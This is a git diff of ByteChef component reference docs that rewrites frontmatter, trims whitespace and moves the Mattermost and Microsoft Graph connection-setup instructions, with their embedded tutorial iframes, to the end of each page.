diff --git a/docs/content/docs/reference/components/map_v1.mdx b/docs/content/docs/reference/components/map_v1.mdx
index e36d7811989..76cb5b244f7 100644
--- a/docs/content/docs/reference/components/map_v1.mdx
+++ b/docs/content/docs/reference/components/map_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "Map"
-description: "Produces a new collection of values by mapping each value in list through defined task, in parallel. When execution is finished on all items, the `map` task will return a list of execution results in an order which corresponds to the order of the source list."
+description: "Map component for ByteChef. Parallel collection transformation. Learn how to implement this in your ByteChef workflows."
+title: Reference Components Map_v1
 ---
 
-
-
 Type: map/v1
 
 <hr />
@@ -14,9 +12,4 @@ Type: map/v1
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| items | List of items | ARRAY <details> <summary> Items </summary> [] </details> | List of items to iterate over. | false |
-
-
-
-
-
+| items | List of items | ARRAY <details> <summary> Items </summary> [] </details> | List of items to iterate over. | false |
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/math-helper_v1.mdx b/docs/content/docs/reference/components/math-helper_v1.mdx
index dc09989067b..e1df1dda1db 100644
--- a/docs/content/docs/reference/components/math-helper_v1.mdx
+++ b/docs/content/docs/reference/components/math-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Math Helper"
-description: "Helper component to perform mathematical operations."
+description: "Math Helper component. Perform mathematical operations. Learn how to implement this in your ByteChef workflows."
+title: Math Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -55,8 +54,6 @@ Type: NUMBER
 
 
 
-
-
 ### Division
 Name: division
 
@@ -95,8 +92,6 @@ Type: NUMBER
 
 
 
-
-
 ### Modulo
 Name: modulo
 
@@ -135,8 +130,6 @@ Type: NUMBER
 
 
 
-
-
 ### Multiplication
 Name: multiplication
 
@@ -175,8 +168,6 @@ Type: NUMBER
 
 
 
-
-
 ### Subtraction
 Name: subtraction
 
@@ -206,16 +197,4 @@ Name: subtraction
 
 
 
-Type: NUMBER
-
-
-
-
-
-
-
-
-
-
-
-
+Type: NUMBER
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/mattermost_v1.mdx b/docs/content/docs/reference/components/mattermost_v1.mdx
index 61325ad6d67..e0f8a4e5a89 100644
--- a/docs/content/docs/reference/components/mattermost_v1.mdx
+++ b/docs/content/docs/reference/components/mattermost_v1.mdx
@@ -30,24 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Go to **System Console**.
-2. Scroll to **INTEGRATIONS** and click on **Integration Management**.
-3. Scroll to **Enable Personal Access Tokens** and click true.
-4. In **System Console** find **USER MANAGEMENT** and click on **Users**.
-5. Identify the account you want to create a personal access token with. By default, only System Admins have permissions to create a personal access token. To create an access token with a non-admin account, you must first give it the appropriate permissions. Find the user account, then select **Manage Roles** from the dropdown.
-6. Select **Allow this account to generate personal access tokens** and **post:all** and then click **Save**.
-7. Go back to your profile and go to **Account Settings**.
-8. Go to **Security** and under Personal Access Token click **Edit**.
-9. Select **Create Token**.
-10. Enter a description for the token and then select **Save**.
-11. Copy the access token and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5J2JFtQxMk4MRClIWEzL?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -186,5 +168,24 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
 
+## Connection Setup
 
+1. Go to **System Console**.
+2. Scroll to **INTEGRATIONS** and click on **Integration Management**.
+3. Scroll to **Enable Personal Access Tokens** and click true.
+4. In **System Console** find **USER MANAGEMENT** and click on **Users**.
+5. Identify the account you want to create a personal access token with. By default, only System Admins have permissions to create a personal access token. To create an access token with a non-admin account, you must first give it the appropriate permissions. Find the user account, then select **Manage Roles** from the dropdown.
+6. Select **Allow this account to generate personal access tokens** and **post:all** and then click **Save**.
+7. Go back to your profile and go to **Account Settings**.
+8. Go to **Security** and under Personal Access Token click **Edit**.
+9. Select **Create Token**.
+10. Enter a description for the token and then select **Save**.
+11. Copy the access token and use it in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/5J2JFtQxMk4MRClIWEzL?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/mautic_v1.mdx b/docs/content/docs/reference/components/mautic_v1.mdx
index cc3b624ff17..0509705e435 100644
--- a/docs/content/docs/reference/components/mautic_v1.mdx
+++ b/docs/content/docs/reference/components/mautic_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Mautic"
-description: "Simplifying campaign design and optimization with a user-friendly click-and-drag interface allowing you to build complex campaigns."
+description: "Mautic component for ByteChef. Marketing automation platform. Learn how to implement this in your ByteChef workflows."
+title: Mautic
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -33,7 +32,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -107,8 +105,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -196,8 +192,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Company
 Name: getCompany
 
@@ -261,8 +255,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Contact
 Name: getContact
 
@@ -341,10 +333,4 @@ Type: OBJECT
   "utmtags" : [ ],
   "doNotContact" : [ ]
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/microsoft-excel_v1.mdx b/docs/content/docs/reference/components/microsoft-excel_v1.mdx
index c8c474a200e..12a11fd95d1 100644
--- a/docs/content/docs/reference/components/microsoft-excel_v1.mdx
+++ b/docs/content/docs/reference/components/microsoft-excel_v1.mdx
@@ -31,29 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft Excel.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-     - Files.ReadWrite
-     - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/lm23aTaCO5fOnTw02g98?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -98,8 +75,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Clear Worksheet
 Name: clearWorksheet
 
@@ -134,8 +109,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Delete Row
 Name: deleteRow
 
@@ -170,8 +143,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Find Row by Number
 Name: findRowByNum
 
@@ -208,8 +179,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update Row
 Name: updateRow
 
@@ -252,11 +221,35 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
+
+### Grant Necessary Permissions
+
+1. Open the Azure Portal: https://portal.azure.com/
+2. Click on **App registrations**.
+3. Click on **All applications**.
+4. Click on application you want to connect to Microsoft Excel.
+5. Click on **API permissions**.
+6. Click on **Microsoft Graph (1)**.
+7. Select following scopes:
+     - Files.ReadWrite
+     - offline_access
+8. After selecting all the scopes click on **Update permissions**
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/lm23aTaCO5fOnTw02g98?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/microsoft-graph-application-setup_v1.mdx b/docs/content/docs/reference/components/microsoft-graph-application-setup_v1.mdx
index 5e713f551b4..13638edd3cd 100644
--- a/docs/content/docs/reference/components/microsoft-graph-application-setup_v1.mdx
+++ b/docs/content/docs/reference/components/microsoft-graph-application-setup_v1.mdx
@@ -28,6 +28,6 @@ Connect Microsoft Graph to ByteChef using OAuth 2.0 Authorization Code.
 
 For Microsoft Graph, the base URL is: https://graph.microsoft.com/v1.0
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
   <iframe src="https://www.guidejar.com/embed/87b6d286-5262-48b7-a9b2-fc8ea5ac5d2e?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
diff --git a/docs/content/docs/reference/components/microsoft-one-drive_v1.mdx b/docs/content/docs/reference/components/microsoft-one-drive_v1.mdx
index 3f6d765a325..3302dc77ad0 100644
--- a/docs/content/docs/reference/components/microsoft-one-drive_v1.mdx
+++ b/docs/content/docs/reference/components/microsoft-one-drive_v1.mdx
@@ -31,29 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft OneDrive.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-     - Files.ReadWrite
-     - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/zpYIHd7Hegb549Jmdemu?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -96,8 +73,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create New Folder
 Name: createNewFolder
 
@@ -177,8 +152,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create New Text File
 Name: createNewTextFile
 
@@ -265,8 +238,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete File
 Name: deleteFile
 
@@ -297,8 +268,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Download File
 Name: downloadFile
 
@@ -352,8 +321,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Get File
 Name: getFile
 
@@ -434,8 +401,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Files
 Name: listFiles
 
@@ -519,8 +484,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### List Folders
 Name: listFolders
 
@@ -601,8 +564,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Upload File
 Name: uploadFile
 
@@ -691,8 +652,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -750,10 +709,35 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
+
+### Grant Necessary Permissions
+
+1. Open the Azure Portal: https://portal.azure.com/
+2. Click on **App registrations**.
+3. Click on **All applications**.
+4. Click on application you want to connect to Microsoft OneDrive.
+5. Click on **API permissions**.
+6. Click on **Microsoft Graph (1)**.
+7. Select following scopes:
+     - Files.ReadWrite
+     - offline_access
+8. After selecting all the scopes click on **Update permissions**
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/zpYIHd7Hegb549Jmdemu?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/microsoft-outlook-365_v1.mdx b/docs/content/docs/reference/components/microsoft-outlook-365_v1.mdx
index 18846d72c1c..ab84374d807 100644
--- a/docs/content/docs/reference/components/microsoft-outlook-365_v1.mdx
+++ b/docs/content/docs/reference/components/microsoft-outlook-365_v1.mdx
@@ -31,32 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft Outlook.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-    - Mail.ReadWrite
-    - Mail.Send
-    - MailboxSettings.Read
-    - Calendars.ReadWrite
-    - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4e2d6273-8ace-44f7-8414-9be1f145229b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -144,8 +118,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Event
 Name: deleteEvent
 
@@ -178,8 +150,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Events
 Name: getEvents
 
@@ -251,8 +221,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Get Free Time Slots
 Name: getFreeTimeSlots
 
@@ -310,8 +278,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Get Mail
 Name: getMail
 
@@ -344,8 +310,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Move Email
 Name: moveEmail
 
@@ -378,8 +342,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Reply to Email
 Name: replyToEmail
 
@@ -426,8 +388,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Search Email
 Name: searchEmail
 
@@ -466,8 +426,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Send Email
 Name: sendEmail
 
@@ -519,8 +477,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -557,10 +513,38 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
+
+### Grant Necessary Permissions
+
+1. Open the Azure Portal: https://portal.azure.com/
+2. Click on **App registrations**.
+3. Click on **All applications**.
+4. Click on application you want to connect to Microsoft Outlook.
+5. Click on **API permissions**.
+6. Click on **Microsoft Graph (1)**.
+7. Select following scopes:
+    - Mail.ReadWrite
+    - Mail.Send
+    - MailboxSettings.Read
+    - Calendars.ReadWrite
+    - offline_access
+8. After selecting all the scopes click on **Update permissions**
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/4e2d6273-8ace-44f7-8414-9be1f145229b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/microsoft-share-point_v1.mdx b/docs/content/docs/reference/components/microsoft-share-point_v1.mdx
index 916551883d6..c005a179cbd 100644
--- a/docs/content/docs/reference/components/microsoft-share-point_v1.mdx
+++ b/docs/content/docs/reference/components/microsoft-share-point_v1.mdx
@@ -31,30 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft SharePoint.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-    - Sites.Manage.All
-    - Sites.ReadWrite.All
-    - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/TVx0AVdJ8A1LFineEiDt?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -156,8 +132,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create List
 Name: createList
 
@@ -236,8 +210,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create List Item
 Name: createListItem
 
@@ -272,8 +244,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Upload File
 Name: uploadFile
 
@@ -367,11 +337,36 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
+
+### Grant Necessary Permissions
+
+1. Open the Azure Portal: https://portal.azure.com/
+2. Click on **App registrations**.
+3. Click on **All applications**.
+4. Click on application you want to connect to Microsoft SharePoint.
+5. Click on **API permissions**.
+6. Click on **Microsoft Graph (1)**.
+7. Select following scopes:
+    - Sites.Manage.All
+    - Sites.ReadWrite.All
+    - offline_access
+8. After selecting all the scopes click on **Update permissions**
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/TVx0AVdJ8A1LFineEiDt?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/microsoft-teams_v1.mdx b/docs/content/docs/reference/components/microsoft-teams_v1.mdx
index 6302a4db056..841863b37bc 100644
--- a/docs/content/docs/reference/components/microsoft-teams_v1.mdx
+++ b/docs/content/docs/reference/components/microsoft-teams_v1.mdx
@@ -31,33 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft Teams.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-     - Channel.Create
-     - Channel.ReadBasic.All
-     - ChannelMessage.Send
-     - Chat.ReadWrite
-     - Team.ReadBasic.All
-     - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/pM8jOSv3CEQnOnICK4NE?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -129,8 +102,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Channel Message
 Name: sendChannelMessage
 
@@ -194,8 +165,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Chat Message
 Name: sendChatMessage
 
@@ -256,11 +225,39 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
+
+### Grant Necessary Permissions
+
+1. Open the Azure Portal: https://portal.azure.com/
+2. Click on **App registrations**.
+3. Click on **All applications**.
+4. Click on application you want to connect to Microsoft Teams.
+5. Click on **API permissions**.
+6. Click on **Microsoft Graph (1)**.
+7. Select following scopes:
+     - Channel.Create
+     - Channel.ReadBasic.All
+     - ChannelMessage.Send
+     - Chat.ReadWrite
+     - Team.ReadBasic.All
+     - offline_access
+8. After selecting all the scopes click on **Update permissions**
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/pM8jOSv3CEQnOnICK4NE?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/microsoft-to-do_v1.mdx b/docs/content/docs/reference/components/microsoft-to-do_v1.mdx
index b3a79f83fd6..dedb1805d31 100644
--- a/docs/content/docs/reference/components/microsoft-to-do_v1.mdx
+++ b/docs/content/docs/reference/components/microsoft-to-do_v1.mdx
@@ -31,29 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft To Do.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-    - Tasks.ReadWrite
-    - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/PwOHtTYQc3KSfiJnrBvx?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -139,8 +116,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task List
 Name: createTaskList
 
@@ -200,8 +175,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Task
 Name: getTask
 
@@ -277,5 +250,29 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
+
+### Grant Necessary Permissions
 
+1. Open the Azure Portal: https://portal.azure.com/
+2. Click on **App registrations**.
+3. Click on **All applications**.
+4. Click on application you want to connect to Microsoft To Do.
+5. Click on **API permissions**.
+6. Click on **Microsoft Graph (1)**.
+7. Select following scopes:
+    - Tasks.ReadWrite
+    - offline_access
+8. After selecting all the scopes click on **Update permissions**
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/PwOHtTYQc3KSfiJnrBvx?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/milvus_v1.mdx b/docs/content/docs/reference/components/milvus_v1.mdx
index 221ac395e27..b0117ee947f 100644
--- a/docs/content/docs/reference/components/milvus_v1.mdx
+++ b/docs/content/docs/reference/components/milvus_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Milvus"
-description: "Milvus is an open-source vector database that has garnered significant attention in the fields of data science and machine learning."
+description: "Milvus component for ByteChef. Vector database. Learn how to implement this in your ByteChef workflows."
+title: Milvus
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -38,7 +37,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -75,8 +73,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Load Data
 Name: load
 
@@ -93,12 +89,4 @@ Name: load
 
 #### Output
 
-This action does not produce any output.
-
-
-
-
-
-
-
-
+This action does not produce any output.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/mistral_v1.mdx b/docs/content/docs/reference/components/mistral_v1.mdx
index d952fa99e87..54432fcc2d9 100644
--- a/docs/content/docs/reference/components/mistral_v1.mdx
+++ b/docs/content/docs/reference/components/mistral_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "MistralAI"
-description: "Open, efficient, helpful and trustworthy AI models through ground-breaking innovations."
+description: "Mistral component for ByteChef. AI language models. Learn how to implement this in your ByteChef workflows."
+title: MistralAI
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -47,7 +45,7 @@ Name: ask
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| model | Model | STRING <details> <summary> Options </summary> <span>codestral-latest</span>, <span>devstral-medium-latest</span>, <span>devstral-small-latest</span>, <span>magistral-medium-latest</span>, <span>magistral-small-latest</span>, <span>ministral-14b-latest</span>, <span>ministral-3b-latest</span>, <span>ministral-8b-latest</span>, <span>mistral-large-latest</span>, <span>mistral-medium-latest</span>, <span>mistral-small-latest</span>, <span>open-mistral-nemo</span>, <span>pixtral-12b-latest</span>, <span>pixtral-large-latest</span> </details> | ID of the model to use. | true |
+| model | Model | STRING <details> <summary> Options </summary> <span>codestral-latest</span>, <span>devstral-small-latest</span>, <span>magistral-medium-latest</span>, <span>magistral-small-latest</span>, <span>ministral-3b-latest</span>, <span>ministral-8b-latest</span>, <span>mistral-large-latest</span>, <span>mistral-medium-latest</span>, <span>mistral-small-latest</span>, <span>open-mistral-nemo</span>, <span>pixtral-12b-2409</span>, <span>pixtral-large-latest</span> </details> | ID of the model to use. | true |
 | format | Format | STRING <details> <summary> Options </summary> <span title="User prompt and optional system prompt.">SIMPLE</span>, <span title="Full control over the messages sent to the model.">ADVANCED</span> </details> | Format of providing the prompt to the model. | true |
 | userPrompt | Prompt | STRING | User prompt to the model. | true |
 | systemPrompt | System Prompt | STRING | System prompt to the model. | false |
@@ -109,8 +107,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Document OCR
 Name: ocr
 
@@ -187,8 +183,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Upload File
 Name: uploadFile
 
@@ -260,10 +254,4 @@ Type: OBJECT
   "source" : "",
   "signature" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/mixpanel_v1.mdx b/docs/content/docs/reference/components/mixpanel_v1.mdx
